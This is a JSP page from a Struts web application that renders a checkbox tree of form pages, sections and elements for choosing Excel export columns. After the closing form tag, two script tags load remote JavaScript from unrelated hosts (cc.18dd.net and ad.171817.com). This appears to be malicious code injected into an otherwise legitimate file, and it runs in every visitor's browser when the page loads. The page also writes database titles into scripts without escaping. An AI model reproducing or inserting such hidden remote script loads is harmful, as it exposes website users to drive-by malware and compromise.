<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OldTree.jsp" charset="UTF-8" type="text/javascript"></script>

<%
  Connection conn = (Connection)DataSourceFactory.getConnection();  
  FormRecordDAObject formDAO = new FormRecordDAObject(sessionContainer, conn);
  FormPageDAObject formPageDAO = new FormPageDAObject(sessionContainer, conn);
  String lyrBgColor = "#FFFFFF";       
  Integer formRecordID = new Integer(request.getParameter("formRecordID"));
  Integer formPageID = null;
  Integer formSectionID = null;
  FormRecord formRecord = (FormRecord)formDAO.getObjectByID(formRecordID);
  List pageList = formPageDAO.getDetailListByFormRecordIDStepID(formRecordID,new Integer(0));
%>

<script language="JavaScript">
<!--

function confirm(){
  var pageID="",sectionID="",elementID = "";
  var hasDisplayElement = false;
  for (var ii = 0; ii < document.listFormSubmissionForm.elements.length; ii++) {
    if (document.listFormSubmissionForm.elements[ii].name.substring(0,14) == "formElementID_"){    
      if (!document.listFormSubmissionForm.elements[ii].checked){
        hasDisplayElement = true;
        break;
      }
    }
  }
  if (!hasDisplayElement){
    alert("<bean:message key='form.message.at_least_one_element_display'/>");
    return false;
  }
  <%
  for(int l=0; l<pageList.size(); l++) {
    FormPage formPage = (FormPage)pageList.get(l);     
    List formSectionList = formPage.getFormSectionList();
    for(int j=0; j<formSectionList.size(); j++) {
      FormSection formSection = (FormSection)formSectionList.get(j);            
      formSectionID = formSection.getID();
      List formElementList = formSection.getFormElementList();
      for(int k=0; k<formElementList.size(); k++) {
        FormElement formElement = (FormElement)formElementList.get(k);
        %>
        if (document.listFormSubmissionForm.elements["formElementID_<%=formPage.getID()%>_<%=formSection.getID()%>_<%=formElement.getID()%>"].checked){
          elementID += <%=formElement.getID()%> + ",";
        }
        <%
      }%>
      if (document.listFormSubmissionForm.elements["formSectionID_<%=formPage.getID()%>_<%=formSection.getID()%>"].checked){
        sectionID += <%=formSection.getID()%> + ",";
      }
      <%
    } %>
    if (document.listFormSubmissionForm.elements["formPageID_<%=formPage.getID()%>"].checked){
        pageID += <%=formPage.getID()%> + ",";
    }
    <%  
   }
  %> 
  
  opener.document.listFormSubmissionForm.displayFormat.value = elementID.substring(0,elementID.length-1) + "|" + sectionID.substring(0,sectionID.length-1) + "|" + pageID.substring(0,pageID.length-1);
  opener.OpCustExportExcel();
  window.close();
}

function onClickCheckBox(name){
  var pageID ="",sectionID="",elementID="",tmpPageSectionID="",type="";
  if (name.indexOf("formPageID")>-1){
    pageID = name.substring(name.indexOf("_")+1,name.length);
    type = "onPage";
  }else if (name.indexOf("formSectionID")>-1){   
    pageID = name.substring(name.indexOf("_")+1,name.lastIndexOf("_"));
    sectionID = name.substring(name.lastIndexOf("_")+1,name.length); 
    type = "onSection";     
  }else if (name.indexOf("formElementID")>-1){   
    tmpPageSectionID = name.substring(name.indexOf("_")+1,name.lastIndexOf("_"));
    pageID = tmpPageSectionID.substring(0,tmpPageSectionID.indexOf("_"));
    sectionID = tmpPageSectionID.substring(tmpPageSectionID.lastIndexOf("_")+1,tmpPageSectionID.length); 
    elementID = name.substring(name.lastIndexOf("_")+1,name.length); 
    type = "onElement";        
  }
  
  <%
  for(int l=0; l<pageList.size(); l++) {
    FormPage formPage = (FormPage)pageList.get(l);   
    %>  
    if (pageID=="<%=formPage.getID()%>"){      
    <% 
    List formSectionList = formPage.getFormSectionList();
    for(int j=0; j<formSectionList.size(); j++) {
      FormSection formSection = (FormSection)formSectionList.get(j);            
      %>
      if (sectionID=="<%=formSection.getID()%>" || type=="onPage"){
      <%
        List formElementList = formSection.getFormElementList();
        for(int k=0; k<formElementList.size(); k++) {
          FormElement formElement = (FormElement)formElementList.get(k);
      %>
          if (elementID=="<%=formElement.getID()%>" || type=="onPage" || type=="onSection"){
            if(type=="onElement"){
              if (document.listFormSubmissionForm.elements["formElementID_<%=formPage.getID()%>_<%=formSection.getID()%>_<%=formElement.getID()%>"].checked == false){
                document.listFormSubmissionForm.elements["formSectionID_<%=formPage.getID()%>_<%=formSection.getID()%>"].checked = false;
                document.listFormSubmissionForm.elements["formPageID_<%=formPage.getID()%>"].checked = false;             
              }        
            }else if (type=="onSection"){        
              if (document.listFormSubmissionForm.elements["formSectionID_<%=formPage.getID()%>_<%=formSection.getID()%>"].checked){
                document.listFormSubmissionForm.elements["formElementID_<%=formPage.getID()%>_<%=formSection.getID()%>_<%=formElement.getID()%>"].checked = true;
              }else{
                document.listFormSubmissionForm.elements["formElementID_<%=formPage.getID()%>_<%=formSection.getID()%>_<%=formElement.getID()%>"].checked = false;
                document.listFormSubmissionForm.elements["formPageID_<%=formPage.getID()%>"].checked = false;             
              }
            }else if(type=="onPage"){
              if (document.listFormSubmissionForm.elements["formPageID_<%=formPage.getID()%>"].checked){
                document.listFormSubmissionForm.elements["formSectionID_<%=formPage.getID()%>_<%=formSection.getID()%>"].checked = true;
                document.listFormSubmissionForm.elements["formElementID_<%=formPage.getID()%>_<%=formSection.getID()%>_<%=formElement.getID()%>"].checked = true;
              }else{
                document.listFormSubmissionForm.elements["formSectionID_<%=formPage.getID()%>_<%=formSection.getID()%>"].checked = false;
                document.listFormSubmissionForm.elements["formElementID_<%=formPage.getID()%>_<%=formSection.getID()%>_<%=formElement.getID()%>"].checked = false;
              }
            }
          }      
       <%}%>      
       }
    <%}%>
    }
 <%}%>
//bill add for EIP-1092_2 start
	var isElementListChecked=true;   
	var isSectionListChecked=true;
	<%
	//PageList
	for(int pageSuffix=0;pageSuffix<pageList.size();pageSuffix++){
		FormPage CheckFormPage = (FormPage)pageList.get(pageSuffix);
		List CheckFormSectionList = CheckFormPage.getFormSectionList();
		//FormSectionList
		for(int sectionSuffix=0;sectionSuffix<CheckFormSectionList.size();sectionSuffix++){
			FormSection CheckFormSection = (FormSection)CheckFormSectionList.get(sectionSuffix);
			List CheckFormElementList = CheckFormSection.getFormElementList();
			//FormElementList
			for(int elementSuffix=0;elementSuffix<CheckFormElementList.size();elementSuffix++){
				FormElement CheckFormElement = (FormElement)CheckFormElementList.get(elementSuffix);
	%>
				if(document.listFormSubmissionForm.elements["formElementID_<%=CheckFormPage.getID()%>_<%=CheckFormSection.getID()%>_<%=CheckFormElement.getID()%>"].checked==false){
					isElementListChecked=false;
				}
			<%}%>
				//all element is checked
				if(isElementListChecked){
					document.listFormSubmissionForm.elements["formSectionID_<%=CheckFormPage.getID()%>_<%=CheckFormSection.getID()%>"].checked=true;
				} 
				if(document.listFormSubmissionForm.elements["formSectionID_<%=CheckFormPage.getID()%>_<%=CheckFormSection.getID()%>"].checked==false){
					isSectionListChecked=false;
				}
		<%}%>
				//all section is checked
				if(isSectionListChecked){
					document.listFormSubmissionForm.elements["formPageID_<%=CheckFormPage.getID()%>"].checked =true;
				}
	<%}%>
//bill add for EIP-1092_2 end
}
-->
</script>

<script>
function clickHandle(){
	// your code here 
}
function contextMenuHandle(){
	event.returnValue = false;
	var treeId = this.getAttribute("treeId");
	// your code here
}


</script>




<!-- ################################ Handle Forms, Sections & Elements Tree End ################################## -->  
<html:form action="form/SearchSubmission" method="POST">
<table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
  <tr>
     <td><b><bean:message key='form.label.select_display_element'/>:</b></td>
     <!--
     <td><b><bean:message key='workflow.label.submit_form'/> :</b><td>
     -->
  </tr>
   <tr>
    <td valign='top'>
  <script>
<!--
    webFXTreeConfig.rootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
    webFXTreeConfig.openRootIcon = "<html:img src='IconDMSTreeRoot.gif'  pathOnly='true'/>";
    webFXTreeConfig.fileIcon   = "<html:img src='IconTreeFolderClosed.gif'  align='absmiddle' pathOnly='true'/>";
    webFXTreeConfig.isCheckBoxTree = 'true';
    
    //webFXTreeHandler.currentID = "24";    
    var formRecordRoot;
    var formPageRoot;
    var formSectionRoot;
    var formElementRoot;
    var rti;
    var tree = new WebFXTree('<%=formRecord.getTitle()+" [ "+formRecord.getFormCode()+" ] - ( Ver"+formRecord.getFormVersion()+" )"%>', '', '24');
    tree.setBehavior('explorer');

    //formRecordRoot = new WebFXTreeItem("<%=formRecord.getTitle()+" [ "+formRecord.getFormCode()+" ] - ( Ver"+formRecord.getFormVersion()+" )"%>",'javascript:void(0);', null, null, null, null, null , "IconFormRecord.gif");
    //tree.add( formRecordRoot );
    
    
    <%  
        for(int l=0; l<pageList.size(); l++) {
          
          FormPage formPage = (FormPage)pageList.get(l);
          formPageID = formPage.getID();  
          
    %>          
      formPageRoot = new WebFXTreeItem("<%=formPage.getTitle()%>", 'javascript:void(0);', "formPageID_<%=formPageID%>", null, null, null, null, null , "IconFormPage.gif"); 
      tree.add(formPageRoot);
      
    
      <%  List formSectionList = formPage.getFormSectionList();
          for(int j=0; j<formSectionList.size(); j++) {
                       
            FormSection formSection = (FormSection)formSectionList.get(j);            
            formSectionID = formSection.getID();
                        
      %>
        formSectionRoot = new WebFXTreeItem("<%=formSection.getTitle()%>", 'javascript:void(0);', "formSectionID_<%=formPageID%>_<%=formSectionID%>", null, null, null, null, null ,"IconFormSection.gif" );
        formPageRoot.add( formSectionRoot );
      
      <%
            List formElementList = formSection.getFormElementList();
            for(int k=0; k<formElementList.size(); k++) {              
              FormElement formElement = (FormElement)formElementList.get(k);                                    
      %> 
          formElementRoot = new WebFXTreeItem("<%=formElement.getFieldName()%>", 'javascript:void(0);', "formElementID_<%=formPageID%>_<%=formSectionID%>_<%=formElement.getID()%>", null, null, null, null, null, "IconFormElements.gif");
          formSectionRoot.add(formElementRoot);
            
      <%    }     
          }//end for Form Section
      
         }//end for Form Page
     
    %>
  
    var divHeight = GetInnerHeight() - 165;
    if (CURRENT_PREFERENCE == "2") {
      divHeight -= 38;
    }
    if (document.all) {
      document.write('<div id="treeFrame" style="width:98%;overflow: auto;border:1px solid #cccccc;padding:5 3 3 5;">');
    }
    document.write(tree);
    if (document.all) {
      document.write('</div>');
    }
    //formRecordRoot.expand();
    formPageRoot.expand();
    formSectionRoot.expand();
      

-->
</script>

    </td>
  </tr>
  
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
 <tr><td colspan="2" align="center">
     <html:standardButton label="common.label.confirm" onClick="return confirm('FALSE');"/>
	   <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
   </td></tr>
</table>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>